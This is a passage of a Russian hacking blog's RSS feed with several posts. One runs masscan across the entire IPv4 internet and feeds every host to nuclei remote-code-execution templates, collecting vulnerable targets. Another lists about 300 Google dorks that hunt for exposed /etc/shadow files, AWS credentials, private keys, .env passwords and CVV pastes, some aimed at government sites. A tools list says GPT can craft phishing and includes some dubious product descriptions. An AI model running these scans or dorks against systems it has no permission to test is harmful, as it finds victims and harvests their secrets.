    &quot;angular-bootstrap-datetimepicker&quot;: &quot;latest&quot;,
    &quot;angular-translate&quot;: &quot;~2.6.1&quot;
  },
  &quot;devDependencies&quot;: {}
}</pre>
  <p id="8X02">Больше интересных вещей со стороны безопасности является файл Node.js или io.js бэкенд приложение - package.json.</p>
  <p id="qSbV">Если вы сможете скачать package.json с сервера, то этот простой метод по идентифицированию любых потенциальных npm пакетов использованных в приложении вам поможет:</p>
  <ul id="3E93">
    <li id="QmSy">убедитесь, что у вас установлен NodeJS, с npm версии 6, или выше</li>
    <li id="Mhzz">сохраните скачанный пакет (package.json в нашем случае) и запустите следующей командой в той же директории, где вы сохранили данный пакет:<br /><code>$ npm install</code></li>
    <li id="CeVf">в конце, вы получите подобную информацию:</li>
  </ul>
  <p id="PlIT">Код:</p>
  <pre data-lang="" id="XxN5">audited 9307 packages in 8.417s
found 9 vulnerabilities (4 low, 1 moderate, 4 high)
run &#x60;npm audit fix&#x60; to fix them, or &#x60;npm audit&#x60; for details</pre>
  <ul id="L3KA">
    <li id="SEqv">теперь запустите команду npm аудита:<br /><code>$ npm audit</code></li>
    <li id="WRA2">после этого, команда выдаст вам отчет, который содержит все уязвимости, найденные аудитом:</li>
  </ul>
  <p id="44Wl">Код:</p>
  <pre data-lang="" id="KioJ">                       === npm audit security report ===                     
                                                                              
# Run  npm install gulp@4.0.0  to resolve 5 vulnerabilities
SEMVER WARNING: Recommended action is a potentially breaking change
┌───────────────┬──────────────────────────────────────────────────────────────┐
│ High          │ Regular Expression Denial of Service                         │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package       │ minimatch                                                    │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ gulp                                                         │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path          │ gulp &gt; vinyl-fs &gt; glob-stream &gt; glob &gt; minimatch             │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info     │ https://nodesecurity.io/advisories/118                       │
└───────────────┴──────────────────────────────────────────────────────────────┘

(...more dtails about every vulnerability...)


found 9 vulnerabilities (4 low, 1 moderate, 4 high) in 9307 scanned packages
  run &#x60;npm audit fix&#x60; to fix 1 of them.
  6 vulnerabilities require semver-major dependency updates.
  2 vulnerabilities require manual review. See the full report for details.</pre>
  <p id="lzcr">Хорошей идеей будет сохранить отчет в отдельном файле, так как иногда вы обнаружите сотни слабых мест в нескольких модулях npm. Важно не попасться в “кроличью нору” - некоторые из этих проблем носят скорее теоретический, нежели практический характер, иногда модули могут даже не использоваться проектом.</p>
  <p id="ZuOu">Вот к примеру простой файл package.json демонстрирует что, возможно в проекте используется база данных MySQL и несколько клиент-серверов связаны друг с другом при помощи WebSockets:</p>
  <p id="zSV9">JSON:</p>
  <pre data-lang="json" id="8ND1">{
  &quot;name&quot;: &quot;Test&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;dependencies&quot;: {
    &quot;socket.io&quot;: &quot;^1.3.5&quot;,
    &quot;mysql&quot;: &quot;^2.9.0&quot;
  }
}</pre>
  <p id="E6ob">Этот вид информации позволяет вам понять, что стараться внедрить популярные NoSQL инъекции - не лучшая идея, из-за того, что приложение использует стандартную базу данных SQL и может быть вам лучше проверить, поддается ли приложение к SQL инъекции.</p>
  <p id="k5qP">Также есть файлы вроде .bowerrc, .eslintrc, .jshintrc и похожие. Даже если они не содержат много “чувствительной” информации, всегда есть шанс, что вы сможете найти описания об архитектуре веб-приложения, о использованных библиотеках или/и фреймворков. Всегда нужно заглянуть в файл, ведь мало что могут содержать в себе комментарии...</p>
  <p id="EBdg">Вывод:</p>
  <p id="VE4H">Под плохой защитой, скрытые файлы и папки на веб-сервере дают хакеру много полезной и ценной информации, которую он сможет использовать для атаки на тот же веб-сервер. Поэтому, всегда удаляйте скрытые папки от IDE, Git’a и прочих приложений перед загрузкой проекта на веб-сервер.</p>
  <p id="kAuz">Спасибо за внимание!</p>
  <p id="ZKLt"><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/nuclei_vulnb_hosts</guid><link>https://teletype.in/@kakaovers/nuclei_vulnb_hosts?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/nuclei_vulnb_hosts?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Поиск потенциально уязвимых хостов при помощи сканера nuclei </title><pubDate>Mon, 08 May 2023 01:39:29 GMT</pubDate><description><![CDATA[<img src="https://img2.teletype.in/files/9d/5c/9d5c24e2-6524-46a7-94cb-ae522fa78d67.png"></img>Сегодня мы рассмотрим установку nuclei на vps, отсортируем стандартые шаблоны по ключевому слову, произведем сканирование средствами masscan, nuclei.]]></description><content:encoded><![CDATA[
  <p id="F9xm">Сегодня мы рассмотрим установку nuclei на vps, отсортируем стандартые шаблоны по ключевому слову, произведем сканирование средствами masscan, nuclei.</p>
  <p id="fyEn">И так начнем! Подключаемся к своему VPS удобным для вас способом...<br />Подключились - теперь нам необходимо установить GO версии 1.19 как рекомендует разработчик софта.</p>
  <p id="UBE4">Приступим</p>
  <pre data-lang="" id="Gg1l">sudo apt-get update
sudo apt-get -y upgrade</pre>
  <pre data-lang="" id="zdHi">wget https://go.dev/dl/go1.19.linux-amd64.tar.gz</pre>
  <pre data-lang="" id="LThr">tar -xvf go1.19.linux-amd64.tar.gz
sudo mv go /usr/local</pre>
  <pre data-lang="" id="ZZYn">export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH</pre>
  <p id="HidB">С установкой GO разобрались, приступаем к установке <strong>nuclei</strong></p>
  <pre data-lang="" id="ZPRP">go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest</pre>
  <p id="XKHm">После завершения установки на всякий случай обновим базу шаблонов.</p>
  <pre data-lang="" id="dwik">nuclei -update-templates</pre>
  <p id="BPdO"><strong>Немного информации о nuclei</strong></p>
  <p id="DvgA">Nuclei - это инструмент, используемый для сканирования веб-приложений и служб на предмет потенциальных уязвимостей. Он использует шаблоны, написанные на YAML, для выявления различных типов уязвимостей и может быть настроен для конкретных случаев использования, таких как XSS, SQL injection, RCE. Он также поддерживает применение фильтров и исключение целевых объектов, что делает его универсальным и мощным инструментом для поиска уязвимостей.</p>
  <p id="0vgI">Посмотрим все доступные шаблоны, перейдя в каталог nuclei-templates (тоже самое можно проделать посетив оффициальную страницу шаблонов nuclei на Github)</p>
  <pre data-lang="" id="mRb5">ls ~/nuclei-templates/</pre>
  <figure id="ChNf" class="m_retina">
    <img src="https://img2.teletype.in/files/9d/5c/9d5c24e2-6524-46a7-94cb-ae522fa78d67.png" width="808" />
  </figure>
  <p id="PMVn">Теперь отсортируем темплы по ключевым словам внутри YAML шаблонов, ниже приведен пример команды для копирования шаблонов содержащих ключевое слово RCE из дефолтной директории nuclei /nuclei-templates/ в созданую вами ранее директорию.</p>
  <pre data-lang="" id="x6sn">grep -rl &#x27;remote.*code.*execution&#x27; ~/nuclei-templates/ | xargs cp -t /home/user/nuc/RCE/</pre>
  <p id="jeBD">Немного отступим от темы сканера nuclei и займемся формированием списка адресов для тестирования, в этом нам поможет masscan.</p>
  <pre data-lang="" id="po3O">masscan -p443 --rate 1300000 --ranges 0.0.0.0-255.255.255.255 --output-format list --output-file test.txt --open-only --randomize-hosts --exclude 255.255.255.255 -v --send-eth --</pre>
  <p id="4nQF">nuclei принимает листы целей в таком формате [ <a href="https://host_ip_" target="_blank">https://host_ip_</a>(domain) ] так, что нормализуем вывод masscan к нужному nuclei формату.</p>
  <pre data-lang="" id="j2nr">awk &#x27;{ print &quot;https://&quot; $4 &quot;:&quot; $3 }&#x27; test.txt &gt; https_test.txt</pre>
  <p id="lmh9">На выходе имеем файл содержащий строки <a href="https://ip:port" target="_blank">https://ip:port</a></p>
  <p id="HgNz"><strong>Запускаем nuclei</strong></p>
  <p id="ZD4b">Вариант запуска с заранее подготовленной директорией шаблонов сосредоточенных на поиск RCE.</p>
  <pre data-lang="" id="W6eA">nuclei  -l &lt;https_test.txt&gt; -t /home/user/nuc/RCE/ -o good.txt</pre>
  <p id="Hdiq">Вариант запуска с использованием одного шаблона.</p>
  <pre data-lang="" id="m5RW">nuclei  -l &lt;https_test.txt&gt; -t /home/user/nuc/RCE/CVE-2009-1151.yaml -o good.txt</pre>
  <p id="hoxQ">Дожидаемся момента завершения работы сканера и welcome good.txt смотреть, что же мы насобирали.<br /><br /><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong><br /></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/top10aipentest</guid><link>https://teletype.in/@kakaovers/top10aipentest?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/top10aipentest?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Искусственный интеллект для пентестера</title><pubDate>Mon, 08 May 2023 01:32:57 GMT</pubDate><description><![CDATA[Top 10 AI Tools:]]></description><content:encoded><![CDATA[
  <p id="OwqD"><strong>Top 10 AI Tools:</strong></p>
  <p id="qs1t"><strong>Cognitio</strong> - это инструмент на основе машинного обучения, предназначенный для выявления уязвимостей в веб-приложениях. Он анализирует поведение приложений и сетевой трафик для обнаружения атак и подозрительной активности.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="j2QH"><strong>Deep Exploit</strong> - это автоматизированный инструмент тестирования на проникновение, который использует искусственный интеллект для выявления уязвимостей в сетях и приложениях. Он способен проводить широкий спектр атак, включая разведку, перебор и атаки с переполнением буфера.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="ViGH"><strong>AI Hunter</strong> - это инструмент с открытым исходным кодом, который использует машинное обучение для обнаружения вредоносного ПО и других угроз. Он анализирует сетевой трафик и выявляет закономерности, которые могут указывать на атаку.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="QFAR"><strong>Canary</strong> - это платформа обмана на основе ИИ, которая создает поддельные активы в сети, чтобы заманить злоумышленников. Когда злоумышленник взаимодействует с обманкой, Canary отправляет сигнал тревоги команде безопасности.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="WgqQ"><strong>ReversingLabs</strong> - это платформа для анализа угроз, которая использует искусственный интеллект для анализа вредоносного ПО и других угроз. Она предоставляет подробные отчеты об угрозах, включая информацию об их поведении и потенциальном воздействии.<strong><br />—————————————————————————————————————</strong></p>
  <p id="qajI"><strong>Darktrace</strong> - это платформа сетевой безопасности на базе ИИ, использующая машинное обучение для обнаружения и реагирования на угрозы в режиме реального времени. Она анализирует сетевой трафик и поведение пользователей для выявления подозрительной активности.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="Ggcv"><strong>Attivo Networks</strong> - это платформа безопасности на основе обмана, которая использует искусственный интеллект для создания ложных целей в сети. Когда злоумышленник взаимодействует с приманкой, платформа отправляет сигнал тревоги команде безопасности.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="op8p"><strong>OpenAI GPT-3/4</strong> - это языковая модель на основе ИИ, которая может использоваться для создания убедительных фишинговых писем и других социально-инженерных атак. Команды &quot;красных&quot; могут использовать GPT-3 для создания высокоцелевых и убедительных атак.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="w1HM"><strong>Binary Ninja</strong> - это инструмент реверс-инжиниринга на базе ИИ, который помогает группам специалистов анализировать и понимать двоичный код. Он предоставляет ряд функций, включая разборку и декомпиляцию, для выявления уязвимостей и эксплойтов.<br /><strong>—————————————————————————————————————</strong></p>
  <p id="ojIj"><strong>HYPR</strong> - это платформа аутентификации на основе искусственного интеллекта, использующая биометрические данные для аутентификации пользователей. Она использует машинное обучение для обнаружения и предотвращения мошеннических попыток входа в систему, снижая риск компрометации учетной записи.</p>
  <p id="Ip6V"><strong>—————————————————————————————————————</strong></p>
  <p id="HOMm"><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/300googledorks</guid><link>https://teletype.in/@kakaovers/300googledorks?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/300googledorks?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Google Dorks Hacking Database </title><pubDate>Mon, 08 May 2023 01:00:51 GMT</pubDate><description><![CDATA[300 Google Dorks (2022-2023) intitle:&quot;index of&quot; &quot;download.php?file=&quot; intitle:&quot;index of &quot;phpunit.yml&quot; inurl:&quot;wp-content&quot; intitle:&quot;index.of&quot; intext:wp-config.php intext:&quot;index of&quot; inurl:json-rpc intext:&quot;index of&quot; inurl:jwks-rsa inurl:&quot;wp-content&quot; intitle:&quot;index.of&quot; intext:backup&quot; intitle:&quot;index of&quot; &quot;users.yml&quot; | &quot;admin.yml&quot; | &quot;config.yml&quot; intitle:index.of conf.mysql inurl: &quot;/wp-content/uploads&quot; intitle:&quot;index of&quot; &quot;docker-compose.yml&quot; intext:pom.xml intitle:&quot;index of /&quot; intext:&quot;Index of&quot; intext:&quot;backup.tar&quot; intext:&quot;Index of&quot; intext:&quot;backend/&quot; Index of&quot; intext:&quot;source_code.zip intext:&quot;Index of&quot; intext:&quot;/etc&quot; intext:&quot;Index of&quot; intext:&quot;bitbucket-pipelines.yml&quot; intext:&quot;Index of&quot; intext:&quot;plugin/&quot; intext:&quot;Index of&quot; intext:&quot;backup.tar&quot; intitle:...]]></description><content:encoded><![CDATA[
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="c7vF"><strong>300 Google Dorks (2022-2023)</strong><br />intitle:&quot;index of&quot; &quot;download.php?file=&quot;<br />intitle:&quot;index of &quot;phpunit.yml&quot;<br />inurl:&quot;wp-content&quot; intitle:&quot;index.of&quot; intext:wp-config.php<br />intext:&quot;index of&quot; inurl:json-rpc<br />intext:&quot;index of&quot; inurl:jwks-rsa<br />inurl:&quot;wp-content&quot; intitle:&quot;index.of&quot; intext:backup&quot;<br />intitle:&quot;index of&quot; &quot;users.yml&quot; | &quot;admin.yml&quot; | &quot;config.yml&quot;<br />intitle:index.of conf.mysql<br />inurl: &quot;/wp-content/uploads&quot;<br />intitle:&quot;index of&quot; &quot;docker-compose.yml&quot;<br />intext:pom.xml intitle:&quot;index of /&quot;<br />intext:&quot;Index of&quot; intext:&quot;backup.tar&quot;<br />intext:&quot;Index of&quot; intext:&quot;backend/&quot;<br />Index of&quot; intext:&quot;source_code.zip<br />intext:&quot;Index of&quot; intext:&quot;/etc&quot;<br />intext:&quot;Index of&quot; intext:&quot;bitbucket-pipelines.yml&quot;<br />intext:&quot;Index of&quot; intext:&quot;plugin/&quot;<br />intext:&quot;Index of&quot; intext:&quot;backup.tar&quot;<br />intitle: index of /phpMyAdmin/index.php<br />intitle:&quot;index of&quot; &quot;config.php&quot;<br />inurl:&quot;/private&quot; intext:&quot;index of /&quot; &quot;config&quot;<br />intitle:&quot;index of&quot; &quot;properties.json&quot;<br />inurl:info.php intext:&quot;PHP Version&quot; intitle:&quot;phpinfo()&quot;<br />intitle:&quot;index of &quot; &quot;config/db&quot;<br />inurl:&quot;/private&quot; intext:&quot;index of /&quot; inurl:&quot;owncloud&quot; -litespeed<br />inurl:&quot;/private&quot; intext:&quot;index of /&quot; &quot;win64&quot; -litespeed<br />intitle:&quot;index of /&quot; &quot;styleci.yml&quot; &quot;.env&quot;<br />inurl:&quot;:8080/&quot; intext:&quot;index of /&quot; &quot;win64&quot; -LiteSpeed<br />inurl:&quot;.ir/&quot; intext:&quot;index of /&quot; &quot;.ovpn&quot;<br />inurl:*/signIn.do<br />index of: admin.json<br />intitle:&quot;index of /&quot; &quot;public.zip&quot;<br />intitle:&quot;index of /&quot; &quot;docker-compose.yml&quot; &quot;.env&quot;<br />inurl:*/signIn.do<br />intext:&quot;index of&quot; downloads&quot; site:*.*<br />inurl:&quot;/scada-vis&quot;<br />intitle:&quot;index of /&quot; &quot;.apk&quot; inurl:&quot;.ir/&quot;<br />intitle:&#x27;Sypex Dumper&quot; inurl:sxd<br />intitle:&quot;index of /&quot; &quot;admin.zip&quot; &quot;admin/&quot;<br />index of conf.bak<br />intitle:&quot;index of &quot; &quot;shell.txt&quot;<br />intitle:index of django/admin site:.*<br />intitle:&quot;index of &quot;conf.json&quot;<br />intitle:&quot;index of &quot;application.yml&quot;<br />allintitle:&quot;VidyoRouter Configuration&quot;<br />intitle:&quot;Index of&quot; site:.bd<br />intitle:&quot;index of&quot; inurl:admin/php<br />inurl:login/login<br />site:.com intitle:index of /wp-admin<br />intitle:&quot;index of&quot; &quot;checkout&quot;<br />inurl:&quot;/api-docs&quot;<br />inurl: &quot;phpmyadmin/setup/&quot;<br />inurl:ssh intitle:index of /files<br />site:.in intext:&quot;Index of&quot; intitle:&quot;index of&quot;<br />intitle:&quot;index of&quot; inurl:wp-json index.json<br />intitle:&quot;index of&quot; &quot;database.sql&quot;<br />intext:&quot;index of&quot; &quot;wp-content.zip&quot;<br />intext:&quot;index of&quot; smb.conf<br />inurl:robots filetype:txt<br />intitle:index of wp-content/plugins/wp-mail-smtp/<br />intitle:&quot;index of&quot; inurl:admin/login<br />intitle:&quot;index.of&quot; *S3<br />intitle:&quot;index of&quot; /etc/shadow<br />intext: &quot;index of&quot; &quot;wp-config.php.bak&quot;<br />allintitle:&quot;ProjectDox Login&quot;<br />intitle:&quot;index of&quot; intext:user inurl:data<br />intitle:&quot;Index of /cam/&quot;<br />index of:admin.asp<br />intext:&quot;index of&quot; &quot;config&quot;<br />Index of:admin site:*.com<br />inurl:backup filetype:sql<br />intitle:&quot;index of /&quot; intext:&quot;.db<br />intext:phpMiniAdmin inurl:phpminiadmin ext:phpIndex:Index of /wp-admin<br />inurl:&quot;/wp-content/plugins/imagemagick-engine/&quot;<br />intitle:&quot;index of&quot; intext:&quot;Apache/1.4&quot;<br />intitle:index.of intext:log inurl:nasa<br />intext:&quot;index of&quot; &quot;backuop/*.sql&quot;<br />intitle:&quot;index of&quot; &quot;admin&quot; &quot;cgi-bin&quot;<br />intitle:index of &quot;wc.db&quot;<br />intitle: index of /secrets/<br />inurl: wp-content/plugin/8-degree-notification-bar<br />inurl: wp-content/plugin/404-redirection-manager<br />intitle:BioTime AND intext:ZKTeco Security LLC<br />intext:&quot;index of&quot; &quot;xmlrpc.php&quot;<br />intext:&quot;index of&quot; &quot;.git&quot;<br />intext:&quot;index of&quot; &quot;.git&quot;<br />intext:&quot;index of&quot; &quot;phpinfo&quot;<br />intitle:&quot;Oracle WebLogic Server&quot;<br />site:investor.*.* AND inurl:home/default.aspx<br />inurl: administrator/components/com_admin/sql/updates/sqlazure<br />inurl: administrator/components/com_admin/sql/updates/mysql/<br />inurl: administrator/components<br />intitle:&quot;index of /database/migrations&quot;<br />intitle:&quot;Index of /webcam/&quot;<br />inurl index.php id= site.bdintitle:&quot;WAMPSERVER Homepage&quot;<br />inurl: json beautifier online<br />intitle:&quot;index of&quot; intext:&quot;Apache/2.2.3&quot;<br />intitle:&quot;index of&quot; inurl:superadmin<br />intext:&quot;index of&quot; &quot;.sql&quot;<br />intitle:&quot;index of&quot; inurl:SUID<br />inurl:/sym404/root<br />filetype:reg [HKEY_USERSDEFAULT]<br />intitle: &quot;index of&quot; intext: human resources<br />intitle:&quot;index of&quot;|&quot;access_token.json&quot;<br />inurl: /wp-includes/uploads<br />intitle:&quot;index of&quot; &quot;release.sh&quot;<br />intitle:&quot;index of&quot; &quot;configure.sh&quot;<br />intext:&quot;index of&quot; &quot;upi&quot; &quot;wp-content&quot;<br />intitle:&quot;index of&quot; &quot;after.sh&quot;<br />intitle:&quot;index of&quot; &quot;setup.sh&quot;<br />intitle:&quot;index of&quot; &quot;deploy.sh&quot;<br />intext:&quot;index of&quot; &quot;.html&quot;<br />intext:&quot;sign up&quot; &quot;**&quot; filetype:php<br />intitle:&quot;index of smtp&quot;<br />intitle:&quot;index of&quot; &quot;cookies&quot; &quot;php&quot;<br />intext:&quot;index of&quot; &quot;httpclient&quot; &quot;login&quot;<br />intitle:&quot; TROJANS&quot; Analysis Report<br />intext:&quot;index of&quot; &quot;phonepe&quot; &quot;wp-content&quot;<br />intext:&quot;index of&quot; &quot;transaction&quot;<br />intext:&quot;index of&quot; &quot;.html&quot;<br />intext:&quot;index of&quot; &quot;repository&quot;<br />intext:&quot;index of&quot; &quot;ipaddress&quot;<br />intitle:&quot;index of&quot; &quot;cron.sh&quot;<br />index of:&quot;backtrack&quot; &quot;hack&quot; ext:php<br />intitle:&quot;index of /&quot; intext:&quot;.env&quot;<br />intitle:&quot;bugs&quot; Analysis Report<br />inurl:/admin ext:config<br />intext:&quot;index of /&quot; &quot;server at&quot;<br />inurl:s3.amazonaws.com intitle:&quot;AWS S3 Explorer&quot;<br />intitle:&quot;index of&quot; &quot;db.py&quot;intitle: index of &quot;awstats&quot;<br />intitle:&quot;index of &quot;cloud-config.yml&quot;<br />intitle:&quot;index of&quot; &quot;private_key.pem&quot;<br />intitle:&quot;Index of /&quot; inurl:(resume|cv)<br />intitle:&quot;index of&quot; (&quot;passenger.*.log&quot; | &quot;passenger.log&quot; | | &quot;production.log&quot; )<br />index of /wp-admin.zip<br />intitle:&quot;index of&quot; /gscloud<br />intitle:&quot;index of&quot; aws/<br />intitle:&quot;index of&quot; include/<br />intitle:&quot;index of&quot; &quot;catalina.out&quot;<br />site:.com intitle:&quot;index of&quot; /ipa<br />intitle:&quot;index of&quot; &quot;keystore.jks&quot;<br />site:.com intitle:&quot;index of&quot; /paypal<br />22site:*.com &quot;index of&quot; error_logs<br />site:cloudfront.net inurl:d<br />site:amazonaws.com inurl:elb.amazonaws.com<br />intitle:index of &quot;error_log&quot;<br />site:.com intitle:&quot;index of&quot; /payments.txt<br />intitle:&quot;index of &quot;docker-compose.yml&quot;<br />intitle:&quot;index of&quot; &quot;java.log&quot; | &quot;java.logs&quot;<br />intext:&quot;token&quot; filetype:log &quot;authenticate&quot;<br />inurl: document/d intext: ssnintitle:&quot;login&quot; intext:&quot;authorized users only&quot;<br />inurl:/_vti_bin/ ext:asmx<br />intitle:&quot;index of&quot; &quot;printenv.pl<br />inurl:/_layouts &quot;[To Parent Directory]&quot;<br />intitle:index of ./jira-software<br />intitle:&quot;index of&quot; &quot; *config.php &quot;<br />inurl:.com index of apks<br />intitle:index of &quot;aws/credentials&quot;<br />intitle:&quot;index of&quot; &quot; admin.php &quot;<br />site:com.* intitle:&quot;index of&quot; *.admin<br />ext:java intext:&quot;import org.apache.logging.log4j.Logger;&quot;<br />site:com.* intitle:&quot;index of&quot; *.admin.password<br />inurl:wp-content/plugins/reflex-gallery/<br />intext:&quot;SQL&quot; &amp;&amp; &quot;DB&quot; inurl:&quot;/runtime/log/&quot;<br />intitle:index of /backup private<br />index of &quot;fileadmin/php&quot;<br />intitle:&quot;index of&quot; &quot; wp-includes &quot;<br />site:gov.* intitle:&quot;index of&quot; *.xls<br />inurl:/login/index.jsp -site:hertz.*<br />inurl:.com index of apks<br />site:com.* intitle:&quot;index of&quot; *.sql<br />site:com.* intitle:&quot;index of&quot; *shell.php<br />&quot;index of&quot; filetype:db<br />site:gov.* intitle:&quot;index of&quot; *.xls<br />intitle:&quot;index of&quot; &quot; wp-includes &quot;site:com.* intitle:&quot;index of&quot; *.db<br />inurl:*org intitle:&quot;index of&quot; &quot;docker-compose&quot;<br />index of &quot;fileadmin/php&quot;<br />inurl:wp-content/plugins/reflex-gallery/<br />intitle:&quot;index of&quot; &quot;wp-upload&quot;<br />intitle:&quot;index of&quot; &quot;.env&quot; OR &quot;pass&quot;<br />site:gov intitle:&quot;index of&quot; *.data<br />intitle:index of &quot;aws/credentials&quot;<br />&quot;index of&quot; filetype:env<br />site:.edu intext:&quot;index of&quot; &quot;shell&quot;<br />site:com.* intitle:&quot;index of&quot; *.admin.password<br />intitle:&quot;index of&quot; &quot; *config.php &quot;<br />intitle:&quot;index of&quot; facebook-api<br />intitle:&quot;index of&quot; google-api-php-client<br />intitle:&quot;index of&quot; sns-login<br />intitle:&quot;index of&quot; linkedin-api<br />intitle:&quot;index of&quot; zoom-api<br />intitle:&quot;index of&quot; facebook-api<br />intitle:&quot;Index of&quot; people.1st<br />site:gov.* intitle:&quot;index of&quot; *Dokuments&quot;<br />intitle:&quot;Index of&quot; etc/shadow<br />intitle:&quot;index of&quot; &quot;man.sh&quot;<br />intitle:&quot;Index of cd&quot;<br />allintitle:index of &quot;/icewarp&quot;<br />allintitle:index of &quot;/microweber&quot;<br />intitle:&quot;Apache Flink Web Dashboard&quot;<br />intitle:&quot;index of&quot; &quot;files.pl&quot;site:gov.* intitle:&quot;index of&quot; *.css<br />site:gov.* intitle:&quot;index of&quot; *.csv<br />intitle:&quot;Index of /&quot; intext:&quot;resource/&quot;<br />intitle:&quot;index of&quot; &quot;wp-config.php.bak&quot;<br />site:papaly.com + keyword<br />inurl:admin filetype:xlsx site:gov.*<br />intitle:&quot;atvise - next generation&quot;<br />site:gov.* intitle:&quot;index of&quot; *.apk<br />inurl: /wp-content/uploads/ inurl:&quot;robots.txt&quot; &quot;Disallow:&quot; filetype:txt<br />site:pastebin.com intitle:&quot;cpanel&quot;<br />intitle:index of settings.py<br />db_password filetype:env<br />site:postman.com + keyword<br />inurl:admin filetype:xls site:gov.in<br />inurl:admin filetype:xlsinurl:admin filetype:txt<br />intitle&quot;index of&quot; &quot;php&quot;<br />site:.edu intext:&quot;index of&quot; &quot;payroll&quot;<br />site:*.github.io intext:cheatsheet+offensive+pentesting<br />site:*.ng intitle:index of<br />intitle:&quot;index of&quot; &quot;apache.log&quot; | &quot;apache.logs&quot;<br />intitle:&quot;index of&quot; site:gov.in<br />allintext&quot;account number&quot;<br />intitle:&quot;index of&quot; &quot;wp-inc&quot;<br />site:*.edu.in intitle:index of<br />intitle:&quot;index of&quot; &quot;/mysql&quot;<br />intitle:&quot;index of&quot; &quot;admin.js&quot;<br />intitle:&quot;index of&quot; &quot;*.vcf&quot;<br />site:*.id intitle:&quot;index of&quot; &quot;screenshot*.jpg&quot;<br />site:*.se intitle:&quot;index of&quot;<br />intitle:&quot;index of&quot; &quot;*.yaml&quot;<br />intitle:&quot;index of&quot; &quot;/products&quot;<br />intitle:&quot;index of&quot; &quot;wp-inc&quot;<br />intitle:&quot;index of &quot;/key/&quot; &quot;key.txt&quot;<br />site:drive.google.com &quot;*.pdf&quot;<br />intitle.index of API*.txt<br />intitle:&quot;index of&quot; &quot;admin*.txt&quot;<br />intitle:&quot;index of&quot; &quot;*.mp4&quot;<br />intitle:&quot;index of&quot; site:gov.np<br />inurl:node_modules/ua-parser-js<br />intitle:&quot;index of&quot; &quot;sysinfo&quot;<br />site:.nic.in inurl:.php?id=<br />intitle:&quot;index of&quot; site:gov.np<br />site:.nic.in inurl:.php?id=<br />inurl:forgotpassword.php<br />intitle.index of API*.txt<br />intitle:&quot;index of&quot; &quot;/public_html&quot;<br />site:.in | .com | .net intitle:&quot;index of&quot; ftp<br />intitle:&quot;index of&quot; site:gov.gr<br />intitle:&quot;index of&quot; &quot;/public/js&quot;<br />intitle:&quot;index of&quot; site:gov.ru<br />inurl:node_modules/ua-parser-js<br />intitle:&quot;index of&quot; &quot;admin*.txt&quot;<br />intitle:&quot;index of&quot; &quot;document*.pdf&quot;<br />intitle:&quot;index of&quot; Servlet&quot;<br />inurl:pastebin &quot;API_KEY&quot;<br />intitle:&quot;index of&quot; &quot;test.bat &quot;<br />intitle:&quot;index of&quot; &quot; login.jsp &quot;<br />site: com intext &quot; organisation data&quot; filetype:xls<br />intitle:&quot;index of&quot; &quot; index.php.bak &quot;<br />intitle:&quot;index of&quot; &quot;hello.bat &quot;<br />intitle:&quot;index of&quot; &quot; YaBB.pl &quot;<br />intitle:&quot;index of&quot; &quot;dvwssr.dll &quot;<br />inurl:pastebin &quot;CVV&quot;<br />intitle:&quot;index of&quot; &quot;browser.inc &quot;<br />intitle:&quot;index of&quot; upload.asp &quot;<br />intitle:&quot;index of&quot; &quot;document*.pdf&quot;<br />intitle:&quot;index of&quot; &quot; webdriver &quot;<br />intitle:&quot;index of&quot; &quot; sendmail.inc &quot;<br />inurl:.php?=*php site:.nic.in<br />intitle:&quot;index of&quot; &quot;msadcs.dll &quot;</p>
  </section>
  <p id="aF0R"><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/obnarujenie-exploit</guid><link>https://teletype.in/@kakaovers/obnarujenie-exploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/obnarujenie-exploit?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Обнаружение, эксплуатация и предотвращение уязвимостей веб-безопасности</title><pubDate>Mon, 01 May 2023 23:24:12 GMT</pubDate><description><![CDATA[<img src="https://img1.teletype.in/files/c9/d0/c9d088b2-8cd6-440a-af1e-5c910ce2fdb4.png"></img>Сначала краткое введение:]]></description><content:encoded><![CDATA[
  <p id="lHp8"><strong>Сначала краткое введение:</strong></p>
